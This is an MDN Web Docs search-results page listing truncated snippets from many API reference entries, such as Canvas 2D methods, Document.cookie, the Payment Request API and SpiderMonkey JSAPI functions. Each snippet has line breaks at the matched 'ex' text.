Search completed in 1.54 seconds.
CanvasRenderingContext2D.createRadialGradient() - Web APIs
the canvasrenderingcont
ext2d.createradialgradient() method of the canvas 2d api creates a radial gradient using the size and coordinates of two circles.
...
examples filling a rectangle with a radial gradient this
example initializes a radial gradient using the createradialgradient() method.
...finally, the gradient is assigned to the canvas cont
ext, and is rendered to a filled rectangle.
... html <canvas id="canvas" width="200" height="200"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcont
ext('2d'); // create a radial gradient // the inner circle is at x=110, y=90, with radius=30 // the outer circle is at x=100, y=100, with radius=70 var gradient = ctx.createradialgradient(110,90,30, 100,100,70); // add three color stops gradient.addcolorstop(0, 'pink'); gradient.addcolorstop(.9, 'white'); gradient.addcolorstop(1, 'green'); // set the fill style and draw a rectangle ctx.fillstyle = gradient; ctx.fillrect(20, 20, 160, 160); result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.createradialgradient' in that specification.
CanvasRenderingContext2D.fill() - Web APIs
the canvasrenderingcont
ext2d.fill() method of the canvas 2d api fills the current or given path with the current fillstyle.
...
examples filling a rectangle this
example fills a rectangle with the fill() method.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.rect(10, 10, 150, 100); ctx.fill(); result specifying a path and a fillrule this
example saves some intersecting lines to a path2d object.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); // create path let region = new path2d(); region.moveto(30, 90); region.lineto(110, 20); region.lineto(240, 130); region.lineto(60, 130); region.lineto(190, 20); region.lineto(270, 90); region.closepath(); // fill path ctx.fillstyle = 'green'; ctx.fill(region, 'evenodd'); result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.fill' in that specification.
CanvasRenderingContext2D.fillRect() - Web APIs
the canvasrenderingcont
ext2d.fillrect() method of the canvas 2d api draws a rectangle that is filled according to the current fillstyle.
...
examples a simple filled rectangle this
example draws a filled green rectangle using the fillrect() method.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.fillstyle = 'green'; ctx.fillrect(20, 10, 150, 100); result filling the whole canvas this code snippet fills the entire canvas with a rectangle.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.fillrect(0, 0, canvas.width, canvas.height); specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.fillrect' in that specification.
CanvasRenderingContext2D.font - Web APIs
the canvasrenderingcont
ext2d.font property of the canvas 2d api specifies the current t
ext style to use when drawing t
ext.
...
examples using a custom font in this
example we use the font property to specify a custom font weight, size, and family.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.font = 'bold 48px serif'; ctx.stroket
ext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can
explicitly load fonts before using them in a canvas.
... let f = new fontface('test', 'url(x)'); f.load().then(function() { // ready to use the font in a canvas cont
ext }); specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.font' in that specification.
CanvasRenderingContext2D.getLineDash() - Web APIs
the getlinedash() method of the canvas 2d api's canvasrenderingcont
ext2d interface gets the current line dash pattern.
...for
example, setting the line dash to [5, 15, 25] will result in getting back [5, 15, 25, 5, 15, 25].
...
examples getting the current line dash setting this
example demonstrates the getlinedash() method.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.setlinedash([10, 20]); console.log(ctx.getlinedash()); // [10, 20] // draw a dashed line ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.getlinedash' in that specification.
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
the imagesmoothingenabled property of the canvasrenderingcont
ext2d interface, part of the canvas api, determines whether scaled images are smoothed (true, default) or not (false).
...
examples disabling image smoothing this
example compares three images.
... html <canvas id="canvas" width="460" height="210"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.font = '16px sans-serif'; ctx.t
extalign = 'center'; const img = new image(); img.src = 'https://interactive-
examples.mdn.mozilla.net/media/
examples/star.png'; img.onload = function() { const w = img.width, h = img.height; ctx.fillt
ext('source', w * .5, 20); ctx.drawimage(img, 0, 24, w, h); ctx.fillt
ext('smoothing = true', w * 2.5, 20); ctx.imagesmoothingenabled = true; ctx.drawimage(img, w, 24, w * 3, h * 3); ctx.fillte...
...xt('smoothing = false', w * 5.5, 20); ctx.imagesmoothingenabled = false; ctx.drawimage(img, w * 4, 24, w * 3, h * 3); }; result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.imagesmoothingenabled' in that specification.
CanvasRenderingContext2D.lineDashOffset - Web APIs
the canvasrenderingcont
ext2d.linedashoffset property of the canvas 2d api sets the line dash offset, or "phase." note: lines are drawn by calling the stroke() method.
...
examples offsetting a line dash this
example draws two dashed lines.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.setlinedash([4, 16]); // dashed line with no offset ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // dashed line with offset of 4 ctx.beginpath(); ctx.strokestyle = 'red'; ctx.linedashoffset = 4; ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result the line with a dash offset is drawn in red.
... html <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); let offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.setlinedash([4, 2]); ctx.linedashoffset = -offset; ctx.strokerect(10, 10, 100, 100); } function march() { offset++; if (offset > 16) { offset = 0; } draw(); settimeout(march, 20); } march(); specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2...
CanvasRenderingContext2D.miterLimit - Web APIs
the canvasrenderingcont
ext2d.miterlimit property of the canvas 2d api sets the miter limit ratio.
...
examples using the miterlimit property see the chapter applying styles and color in the canvas tutorial for more information.
... playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <t
extarea id="code" class="playable-code"> ctx.beginpath(); ctx.moveto(0,0); ctx.linewidth = 15; ctx.lineto(100, 100); ctx.stroke();</t
extarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcont
ext("2d"); var t
extarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = t
extarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(t
extarea.value); } reset.addeventlistener("click", function() { t
extarea.value = code;...
... drawcanvas(); }); edit.addeventlistener("click", function() { t
extarea.focus(); }) t
extarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.miterlimit' in that specification.
CanvasRenderingContext2D.restore() - Web APIs
the canvasrenderingcont
ext2d.restore() method of the canvas 2d api restores the most recently saved canvas state by popping the top entry in the drawing state stack.
... fore more information about the drawing state, see canvasrenderingcont
ext2d.save().
... syntax void ctx.restore();
examples restoring a saved state this
example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.restore' in that specification.
CanvasRenderingContext2D.save() - Web APIs
the canvasrenderingcont
ext2d.save() method of the canvas 2d api saves the entire state of the canvas by pushing the current state onto a stack.
... the current values of the following attributes: strokestyle, fillstyle, globalalpha, linewidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, t
extalign, t
extbaseline, direction, imagesmoothingenabled.
... syntax void ctx.save();
examples saving the drawing state this
example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.save' in that specification.
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
the canvasrenderingcont
ext2d.scrollpathintoview() method of the canvas 2d api scrolls the current or given path into view.
...
examples using the scrollpathintoview method this
example demonstrates the scrollpathintoview() method.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.beginpath(); ctx.fillrect(10, 10, 30, 30); ctx.scrollpathintoview(); edit the code below to see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"> <input id="button" type="range" min="1" max="12"> </canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <t
extarea id="code" class="playable-code"> ctx.beginpath(); ctx.rect(10, 10, 30, 30); ctx.scrollpathintoview();</t
extarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcont
ext("2d"); var t
extarea = document.get...
...elementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = t
extarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(t
extarea.value); } reset.addeventlistener("click", function() { t
extarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { t
extarea.focus(); }) t
extarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.scrollpathintoview' in that specification.
CanvasRenderingContext2D.strokeRect() - Web APIs
the canvasrenderingcont
ext2d.strokerect() method of the canvas 2d api draws a rectangle that is stroked (outlined) according to the current strokestyle and other cont
ext settings.
...
examples a simple stroked rectangle this
example draws a rectangle with a green outline using the strokerect() method.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.strokestyle = 'green'; ctx.strokerect(20, 10, 160, 100); result applying various cont
ext settings this
example draws a rectangle with a drop shadow and thick, beveled outlines.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.shadowcolor = '#d53'; ctx.shadowblur = 20; ctx.linejoin = 'bevel'; ctx.linewidth = 15; ctx.strokestyle = '#38f'; ctx.strokerect(30, 30, 160, 90); result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.strokerect' in that specification.
CanvasRenderingContext2D.transform() - Web APIs
the canvasrenderingcont
ext2d.transform() method of the canvas 2d api multiplies the current transformation with the matrix described by the arguments of this method.
... this lets you scale, rotate, translate (move), and skew the cont
ext.
...
examples skewing a shape this
example skews a rectangle both vertically (.2) and horizontally (.8).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcont
ext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcont
ext2d.transform' in that specification.
DOMException.code - Web APIs
the code read-only property of the dom
exception interface returns a short that contains one of the error code constants, or 0 if none match.
...new dom
exceptions don't use this anymore: they put this info in the dom
exception.name attribute.
... syntax var dom
exceptioncode = dom
exceptioninstance.code; value a short number.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcodechrome full support yesedge full support 12firefox full support 1ie ?
Document.onafterscriptexecute - Web APIs
the document.onafterscript
execute property references a function that fires when a static <script> element finishes
executing its script.
... syntax document.onafterscript
execute = funcref; funcref is a function reference, called when the event is fired.
... the event's target attribute is set to the <script> element that just finished
executing.
...
example function finished(e) { logmessage(`finished script with id: ${e.target.id}`); } document.addeventlistener('afterscript
execute', finished, true); view live
example specification html5 ...
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
(this menu will not be present unless you have changed the preference as
explained above.) selecting the 'browser' cont
ext in the scratchpad enter the following code in the scratchpad: // this simply defines the 'debugger' constructor in this // scratchpad; it doesn't actually start debugging anything.
... dbg.uncaught
exceptionhook = handleuncaught
exception; // find the current tab's main content window.
... plot(log); } function handleuncaught
exception(
ex) { console.log('debugger hook threw:'); console.log(
ex.tostring()); console.log('stack:'); console.log(
ex.stack); }; function plot(log) { // given the log, compute a map from allocation sites to // allocation counts.
...And 10 more matches
ANGLE_instanced_arrays - Web APIs
the angle_instanced_arrays
extension is part of the webgl api and allows to draw the same object, or groups of similar objects multiple times, if they share the same vert
ex data, primitive count and type.
... webgl
extensions are available using the webglrenderingcont
ext.get
extension() method.
... for more information, see also using
extensions in the webgl tutorial.
...And 10 more matches
AudioNode - Web APIs
examples include: an audio source (e.g.
...ock; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" heigh...
...t="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">audionode</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} note: an audionode can be target of events, therefore it implements the eventtarget interface.
...And 10 more matches
Cache - Web APIs
the cache interface provides a storage mechanism for request / response object pairs that are cached, for
example as part of the serviceworker life cycle.
... note that the cache interface is
exposed to windowed scopes as well as workers.
...items in a cache do not get updated unless
explicitly requested; they don’t
expire unless deleted.
...And 10 more matches
Document.cookie - Web APIs
;domain=domain (e.g., '
example.com' or 'subdomain.
example.com').
... ;max-age=max-age-in-seconds (e.g., 60*60*24*365 or 31536000 for a year) ;
expires=date-in-gmtstring-format if neither
expires nor max-age specified it will
expire at the end of session.
...many browsers let users specify that cookies should never
expire, which is not necessarily safe.
...And 10 more matches
HTMLCanvasElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlcanvaselement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...And 10 more matches
HTMLSelectElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlselectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...And 10 more matches
IDBFactory - Web APIs
the idbfactory interface of the ind
exeddb api lets applications asynchronously access the ind
exed databases.
... the object that implements the interface is window.ind
exeddb.
...
example in the following code snippet, we make a request to open a database, and include handlers for the success and error cases.
...And 10 more matches
Microdata DOM API - Web APIs
microdata becomes even more useful when scripts can use it to
expose information to the user, for
example offering it in a form that can be used by other applications.
...setting the value when the element has no itemprop attribute or when the element's value is an item throws an invalidaccesserror
exception.
... code
example this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata items of a particular type given in the document: var cats = document.getitems("http://
example.com/feline"); once an element representing an item has been obtained, its properties can be
extracted using the properties idl attribute.
...And 10 more matches
PaymentResponse - Web APIs
properties paymentresponse.details read only secure cont
ext returns a json-serializable object that provides a payment method specific message used by the merchant to process the transaction and determine successful fund transfer.
... the contents of the object depend on the payment method being used; for
example, if the basic card payment method is used, this object must conform to the structure defined in the basiccardresponse dictionary.
... paymentresponse.methodname read only secure cont
ext returns the payment method identifier for the payment method that the user selected, for
example, visa, mastercard, paypal, etc..
...And 10 more matches
Using the Payment Request API - Web APIs
this article is a guide to making use of the payment request api, with
examples and suggested best practices.
... so for
example, you could create a new paymentrequest instance like so: var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); the functions invoked inside the constructor simply return the required object parameters: function buildsupportedpaymentmethoddata() { //
example supported payment methods: return [{ supportedmet...
...hods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard'], supportedtypes: ['debit', 'credit'] } }]; } function buildshoppingcartdetails() { // hardcoded for demo purposes: return { id: 'order-123', displayitems: [ { label: '
example item', amount: {currency: 'usd', value: '1.00'} } ], total: { label: 'total', amount: {currency: 'usd', value: '1.00'} } }; } starting the payment process once the paymentrequest object has been created, you call the paymentrequest.show() method on it to initiate the payment request.
...And 10 more matches
PushEvent - Web APIs
properties inherits properties from its parent,
extendableevent.
... methods inherits methods from its parent,
extendableevent.
...
examples the following
example takes data from a pushevent and displays it on all of the service worker's clients.
...And 10 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
because descriptions will be
exchanged until the two peers agree on a configuration, the description submitted by calling setremotedescription() does not immediately take effect.
... return value a promise which is fulfilled once the value of the connection's remotedescription is successfully changed or rejected if the change cannot be applied (for
example, if the specified description is incompatible with one or both of the peers on the connection).
...
exceptions the following
exceptions are reported to the rejection handler for the promise returned by setremotedescription(): invalidaccesserror the content of the description is invalid.
...And 10 more matches
SVGSVGElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 10 more matches
Selection - Web APIs
a selection object represents the range of t
ext selected by the user or the current position of the caret.
... to obtain a selection object for
examination or manipulation, call window.getselection().
...can return null if selection never
existed in the document (e.g., an iframe that was never clicked on).
...And 10 more matches
Shumway
the project is not
exactly a developer tool but it is something that content creators should test against (and report bugs or performance issues to).
... for even more information, please refer to the
external links.
...it is currently available as an
extension and as a component in firefox's nightly builds that can be enabled through about:config (you need to find the shumway.disabled preference and set it to false).
...And 7 more matches
Rebranding SpiderMonkey (1.8.5)
after installing the build pre-requisites and downloading the spidermonkey source tarball issue the following commands at the terminal: cd js/src autoconf-2.13 for the remainder of this document wherever you see the t
ext $brand you will substitute that t
ext with the name of your brand.
... for
example the default brand for spidermonkey 1.8.5 is 'mozjs185'.
...for
example: ../configure --enable-ctypes --with-system-nspr note: your desired configuration may be different.
...And 7 more matches
JS::Compile
this article covers features introduced in spidermonkey 17 compile a script for
execution.
... syntax // added in spidermonkey 45 bool js::compile(jscont
ext *cx, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlescript script); bool js::compile(jscont
ext *cx, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlescript script); bool js::compile(jscont
ext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutablehandlescript script); bool js::compile(jscont
ext *cx, const js::readonlycompileoptions &options, file *file, js::mutablehandlescript script); bool js::compile(jscont
ext *cx, const js::readonlycompileoptions &options, const char *filename, ...
... js::mutablehandlescript script); // obsolete since jsapi 39 bool js::compile(jscont
ext *cx, js::handleobject obj, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlescript script); bool js::compile(jscont
ext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlescript script); bool js::compile(jscont
ext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutablehandlescript script); bool js::compile(jscont
ext *cx, js::handleobject obj, const js::readonlycompileoptions &options, file *file, js::mutablehandlescript script)...
...And 7 more matches
JS_AliasElement
create an aliased ind
ex entry for an
existing numeric property of a native object.
... syntax jsbool js_aliaselement(jscont
ext *cx, jsobject *obj, const char *name, jsint alias); name type description cx jscont
ext * the cont
ext in which to create the alias.
...in a js_threadsafe build, the caller must be in a request on this jscont
ext.
...And 7 more matches
JS_CompileScript
compiles a script for
execution.
... syntax // added in spidermonkey 45 bool js_compilescript(jscont
ext *cx, const char *ascii, size_t length, const js::compileoptions &options, js::mutablehandlescript script); bool js_compileucscript(jscont
ext *cx, const char16_t *chars, size_t length, const js::compileoptions &options, js::mutablehandlescript script); // obsolete since jsapi 39 bool js_compilescript(jscont
ext *cx, js::handleobject obj, const char *ascii, size_t length, const js::compileoptions &options, js::mutablehandlescript script); bool js_compileucscript(jscont
ext *cx, js::handleobject obj, const char16_t *chars, size_t length, ...
... const js::compileoptions &options, js::mutablehandlescript script); name type description cx jscont
ext * pointer to a js cont
ext from which to derive runtime information.
...And 7 more matches
JS_LookupProperty
determine if a specified property
exists.
... syntax bool js_lookupproperty(jscont
ext *cx, js::handleobject obj, const char *name, js::mutablehandlevalue vp); bool js_lookupucproperty(jscont
ext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::mutablehandlevalue vp); bool js_lookuppropertybyid(jscont
ext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 bool js_lookupelement(jscont
ext *cx, js::handleobject obj, uint32_t ind
ex, js::mutablehandlevalue vp); // ---- obsolete since spidermonkey 31 ---- bool js_lookuppropertywithflags(jscont
ext *cx, js::handleobject obj, const char *name, unsigned flags, js::mutablehandlevalue vp); bool js_loo...
...kuppropertywithflagsbyid(jscont
ext *cx, js::handleobject obj, js::handleid id, unsigned flags, js::mutablehandleobject objp, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 name type description cx jscont
ext * pointer to a js cont
ext from which to derive runtime information.
...And 7 more matches
Packaging WebLock
« previousn
ext » in this final part of the tutorial, we'll put all of the pieces of the web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other systems.
... note: the emphasis of this tutorial is on the component development itself, so this section on packaging and installing
extensions to gecko is necessarily brief.
...using xpinstall, you can create web-based installations for gecko-based applications, mozilla
extensions, or individual components.
...And 7 more matches
mozIAsyncFavicons
k acallback); void setandfetchfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); void replacefavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime a
expiration); void replacefavicondatafromdataurl(in nsiuri afaviconuri, in astring adataurl, [optional] in prtime a
expiration); methods getfaviconurlforpage() retrieve the url of the favicon for the given page.
...if the icon data already
exists, we will not try to reload the icon unless aforcereload is true.
... aforcereload if false, we try to reload the favicon only if we do not have it or it has
expired from the cache.
...And 7 more matches
